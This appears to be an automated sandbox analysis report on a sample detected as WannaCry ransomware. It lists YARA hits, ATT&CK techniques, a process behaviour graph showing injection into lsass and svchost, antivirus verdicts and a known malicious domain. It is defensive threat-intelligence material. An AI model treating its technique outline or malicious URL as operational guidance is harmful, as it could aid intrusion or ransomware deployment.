              Source: Yara matchFile source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000018.00000002.780038210.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000000.297917733.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000000.284082640.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000D.00000000.282719570.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000025.00000002.779622182.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000D.00000002.779795450.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000000.275250828.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000002.779624933.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000020.00000002.779620781.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000000.278345246.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000000.274728870.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000002.779850474.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000000.306865025.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.779420524.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000000.302681631.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000000.358836305.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.779957944.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000002.779625256.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000000.297935141.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000002.779625777.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000000.288356484.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000021.00000002.779629250.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000024.00000000.384980372.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000025.00000000.395892322.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000000.303697013.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000D.00000000.279772063.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000022.00000000.374091612.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000024.00000002.779620499.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.779917010.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001E.00000000.355451768.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000000.287910234.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000000.303739721.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000D.00000002.779419743.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000000.288244133.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000002.780045670.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000002.779624964.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000000.285630822.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000002.779420595.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.779542408.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000021.00000000.371524585.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000000.285350608.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000000.269431373.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000002.779959042.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000000.275240067.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000022.00000002.779622641.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000000.306275003.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.779418890.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000000.297503567.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000000.306783221.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000026.00000002.779620466.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000000.285663148.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000000.282495511.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000000.285363531.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000026.00000000.399766595.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.779851504.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001E.00000002.779625609.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000000.284037505.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.531306242.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000000.302649387.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000000.297520216.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000D.00000000.282701185.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000000.287920989.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.779554613.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.357638181.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.779805560.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000020.00000000.361461288.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000000.306259701.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000000.278334904.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 6452, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: winlogon.exe PID: 572, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 6656, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: lsass.exe PID: 612, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: fontdrvhost.exe PID: 708, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: fontdrvhost.exe PID: 716, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 724, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 804, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 852, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 900, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: dwm.exe PID: 984, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1020, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 316, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 416, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 948, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 960, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1132, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1200, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1272, type: MEMORYSTR

              Mitre Att&ck Matrix

              Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
              Valid Accounts1
              Windows Management Instrumentation              		2
              Windows Service              		2
              Windows Service              		121
              Masquerading              		OS Credential Dumping11
              System Time Discovery              		Remote Services1
              Archive Collected Data              		Exfiltration Over Other Network Medium2
              Encrypted Channel              		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
              Data Encrypted for Impact
              Default Accounts2
              Command and Scripting Interpreter              		1
              DLL Side-Loading              		312
              Process Injection              		1
              Disable or Modify Tools              		LSASS Memory371
              Security Software Discovery              		Remote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth12
              Ingress Tool Transfer              		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
              Domain Accounts2
              Service Execution              		Logon Script (Windows)1
              DLL Side-Loading              		31
              Virtualization/Sandbox Evasion              		Security Account Manager31
              Virtualization/Sandbox Evasion              		SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration2
              Non-Application Layer Protocol              		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
              Local Accounts12
              Native API              		Logon Script (Mac)Logon Script (Mac)312
              Process Injection              		NTDS3
              Process Discovery              		Distributed Component Object ModelInput CaptureScheduled Transfer2
              Application Layer Protocol              		SIM Card SwapCarrier Billing Fraud
              Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
              Obfuscated Files or Information              		LSA Secrets1
              Remote System Discovery              		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
              Replication Through Removable MediaLaunchdRc.commonRc.common1
              Rundll32              		Cached Domain Credentials123
              System Information Discovery              		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
              External Remote ServicesScheduled TaskStartup ItemsStartup Items1
              Software Packing              		DCSyncNetwork SniffingWindows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
              Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job1
              DLL Side-Loading              		Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 signatures2 2 Behavior Graph ID: 669656 Sample: kBBdc7Aoj4 Startdate: 20/07/2022 Architecture: WINDOWS Score: 100 69 Tries to download HTTP data from a sinkholed server 2->69 71 Snort IDS alert for network traffic 2->71 73 Malicious sample detected (through community Yara rule) 2->73 75 7 other signatures 2->75 10 loaddll32.exe 1 2->10         started        12 mssecsvc.exe 2->12         started        15 svchost.exe 2->15         started        17 9 other processes 2->17 process3 dnsIp4 20 cmd.exe 1 10->20         started        22 rundll32.exe 10->22         started        25 rundll32.exe 1 10->25         started        93 Maps a DLL or memory area into another process 12->93 28 svchost.exe 12->28 injected 30 svchost.exe 12->30 injected 95 Changes security center settings (notifications, updates, antivirus, firewall) 15->95 61 127.0.0.1 unknown unknown 17->61 63 192.168.2.1 unknown unknown 17->63 signatures5 process6 file7 32 rundll32.exe 20->32         started        81 Drops executables to the windows directory (C:\Windows) and starts them 22->81 34 mssecsvc.exe 7 22->34         started        59 C:\Windows\mssecsvc.exe, PE32 25->59 dropped signatures8 process9 dnsIp10 39 mssecsvc.exe 7 32->39         started        65 www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 104.16.173.80, 49758, 49820, 80 CLOUDFLARENETUS United States 34->65 57 C:\Windows\tasksche.exe, PE32 34->57 dropped 77 Drops executables to the windows directory (C:\Windows) and starts them 34->77 43 tasksche.exe 34->43         started        file11 79 Tries to resolve many domain names, but no domain seems valid 65->79 signatures12 process13 dnsIp14 67 www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 39->67 83 Antivirus detection for dropped file 39->83 85 Multi AV Scanner detection for dropped file 39->85 87 Machine Learning detection for dropped file 39->87 91 6 other signatures 39->91 45 svchost.exe 39->45 injected 47 winlogon.exe 39->47 injected 49 lsass.exe 39->49 injected 51 12 other processes 39->51 89 Detected Wannacry Ransomware 43->89 signatures15 process16 process17 53 backgroundTaskHost.exe 175 136 45->53         started        55 BackgroundTransferHost.exe 45->55         started       

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              kBBdc7Aoj4.dll82%MetadefenderBrowse
              kBBdc7Aoj4.dll86%ReversingLabsWin32.Ransomware.WannaCry
              kBBdc7Aoj4.dll100%AviraW32/Virut.Gen
              kBBdc7Aoj4.dll100%Joe Sandbox ML

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\Windows\mssecsvc.exe100%AviraW32/Virut.Gen
              C:\Windows\tasksche.exe100%AviraTR/FileCoder.AU
              C:\Windows\mssecsvc.exe100%Joe Sandbox ML
              C:\Windows\tasksche.exe100%Joe Sandbox ML
              C:\Windows\mssecsvc.exe87%MetadefenderBrowse
              C:\Windows\mssecsvc.exe100%ReversingLabsWin32.Virus.Virut
              C:\Windows\tasksche.exe85%MetadefenderBrowse
              C:\Windows\tasksche.exe95%ReversingLabsWin32.Ransomware.WannaCry

              Unpacked PE Files

              SourceDetectionScannerLabelLinkDownload
              7.0.mssecsvc.exe.7100a4.7.unpack100%AviraTR/FileCoder.AUDownload File
              4.0.mssecsvc.exe.400000.6.unpack100%AviraW32/Virut.GenDownload File
              7.2.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              10.2.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
              4.2.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
              29.0.tasksche.exe.400000.0.unpack100%AviraTR/FileCoder.AUDownload File
              7.0.mssecsvc.exe.400000.2.unpack100%AviraW32/Virut.GenDownload File
              4.2.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              4.0.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              10.0.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
              4.0.mssecsvc.exe.400000.2.unpack100%AviraW32/Virut.GenDownload File
              10.0.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              4.0.mssecsvc.exe.400000.4.unpack100%AviraW32/Virut.GenDownload File
              7.0.mssecsvc.exe.400000.6.unpack100%AviraW32/Virut.GenDownload File
              4.0.mssecsvc.exe.7100a4.5.unpack100%AviraTR/FileCoder.AUDownload File
              7.0.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
              4.0.mssecsvc.exe.7100a4.7.unpack100%AviraTR/FileCoder.AUDownload File
              4.0.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
              29.2.tasksche.exe.400000.0.unpack100%AviraTR/FileCoder.AUDownload File
              7.0.mssecsvc.exe.400000.4.unpack100%AviraW32/Virut.GenDownload File
              7.0.mssecsvc.exe.7100a4.5.unpack100%AviraTR/FileCoder.AUDownload File
              7.0.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              10.2.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              4.0.mssecsvc.exe.7100a4.3.unpack100%AviraTR/FileCoder.AUDownload File
              7.2.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
              7.0.mssecsvc.exe.7100a4.3.unpack100%AviraTR/FileCoder.AUDownload File

              Domains

              ⊘No Antivirus matches

              URLs

              SourceDetectionScannerLabelLink
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/100%URL Reputationmalware
              http://crl.ver)0%Avira URL Cloudsafe
              http://crl.pki.goog/gtsr1/gtsr1.crl0W0%URL Reputationsafe
              https://pki.goog/repository/00%URL Reputationsafe
              https://%s.xboxlive.com0%URL Reputationsafe
              http://pki.goog/repo/certs/gtsr1.der040%URL Reputationsafe
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com100%URL Reputationmalware
              https://dynamic.t0%URL Reputationsafe
              http://Passport.NET/tb0%Avira URL Cloudsafe
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comJ0%URL Reputationsafe
              https://%s.dnet.xboxlive.com0%URL Reputationsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
              		104.16.173.80
              		truetrue
                		unknown

                Contacted URLs

                NameMaliciousAntivirus DetectionReputation
                http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/true
                • URL Reputation: malware
                		unknown

                URLs from Memory and Binaries

                NameSourceMaliciousAntivirus DetectionReputation
                https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashxsvchost.exe, 00000014.00000003.315236249.0000020007A61000.00000004.00000020.00020000.00000000.sdmpfalse
                  		high
                  https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=svchost.exe, 00000014.00000003.315520566.0000020007A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315451934.0000020007A41000.00000004.00000020.00020000.00000000.sdmpfalse
                    		high
                    https://dev.ditu.live.com/REST/v1/Routes/svchost.exe, 00000014.00000002.316515053.0000020007A3E000.00000004.00000020.00020000.00000000.sdmpfalse
                      		high
                      https://dev.virtualearth.net/REST/v1/Routes/Drivingsvchost.exe, 00000014.00000003.315236249.0000020007A61000.00000004.00000020.00020000.00000000.sdmpfalse
                        		high
                        https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashxsvchost.exe, 00000014.00000002.316515053.0000020007A3E000.00000004.00000020.00020000.00000000.sdmpfalse
                          		high
                          https://dev.ditu.live.com/REST/v1/Traffic/Incidents/svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpfalse
                            		high
                            https://t0.tiles.ditu.live.com/tiles/gensvchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpfalse
                              		high
                              https://dev.virtualearth.net/REST/v1/Routes/svchost.exe, 00000014.00000002.316515053.0000020007A3E000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                https://dev.virtualearth.net/REST/v1/Traffic/Incidents/svchost.exe, 00000014.00000002.316368792.0000020007A2A000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high
                                  https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=svchost.exe, 00000014.00000003.315520566.0000020007A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315451934.0000020007A41000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		high
                                    https://dev.virtualearth.net/REST/v1/Routes/Walkingsvchost.exe, 00000014.00000003.315236249.0000020007A61000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      http://crl.ver)svchost.exe, 0000001C.00000002.667191225.000001BAE2C62000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		low
                                      https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315451934.0000020007A41000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpfalse
                                        		high
                                        http://crl.pki.goog/gtsr1/gtsr1.crl0Wlsass.exe, 0000000C.00000000.279255324.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275301759.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.789525962.00000240B2694000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=svchost.exe, 00000014.00000002.316515053.0000020007A3E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.316213625.0000020007A13000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=svchost.exe, 00000014.00000003.315626185.0000020007A42000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315451934.0000020007A41000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.316536269.0000020007A43000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            https://pki.goog/repository/0lsass.exe, 0000000C.00000000.279255324.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275301759.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.789525962.00000240B2694000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            https://%s.xboxlive.comsvchost.exe, 00000012.00000002.785946238.0000027392843000.00000004.00000020.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		low
                                            https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              https://dev.virtualearth.net/REST/v1/Locationssvchost.exe, 00000014.00000003.315236249.0000020007A61000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=svchost.exe, 00000014.00000003.293195948.0000020007A30000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://dev.virtualearth.net/mapcontrol/logging.ashxsvchost.exe, 00000014.00000003.315236249.0000020007A61000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://dev.ditu.live.com/mapcontrol/logging.ashxsvchost.exe, 00000014.00000003.315236249.0000020007A61000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://pki.goog/repo/certs/gtsr1.der04lsass.exe, 0000000C.00000000.279255324.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275301759.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.789525962.00000240B2694000.00000004.00000001.00020000.00000000.sdmpfalse
                                                      • URL Reputation: safe
                                                      		unknown
                                                      https://dev.ditu.live.com/REST/v1/Imagery/Copyright/svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.316368792.0000020007A2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?entry=svchost.exe, 00000014.00000003.293195948.0000020007A30000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.commssecsvc.exe.2.drtrue
                                                          • URL Reputation: malware
                                                          		unknown
                                                          https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=svchost.exe, 00000014.00000003.293195948.0000020007A30000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://dev.virtualearth.net/REST/v1/Transit/Schedules/svchost.exe, 00000014.00000003.315626185.0000020007A42000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315451934.0000020007A41000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.316536269.0000020007A43000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://dynamic.tsvchost.exe, 00000014.00000003.315194536.0000020007A64000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  • URL Reputation: safe
                                                                  		unknown
                                                                  https://dev.virtualearth.net/REST/v1/Routes/Transitsvchost.exe, 00000014.00000003.315236249.0000020007A61000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://t0.ssl.ak.tiles.virtualearth.net/tiles/gensvchost.exe, 00000014.00000002.316463909.0000020007A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.293195948.0000020007A30000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      http://www.google.comsvchost.exe, 00000020.00000000.363290177.00000247D1CC3000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.790589750.00000247D1CC3000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        http://Passport.NET/tbsvchost.exe, 00000026.00000002.807347799.0000024ADF5BC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                        • Avira URL Cloud: safe
                                                                        		unknown
                                                                        https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpfalse
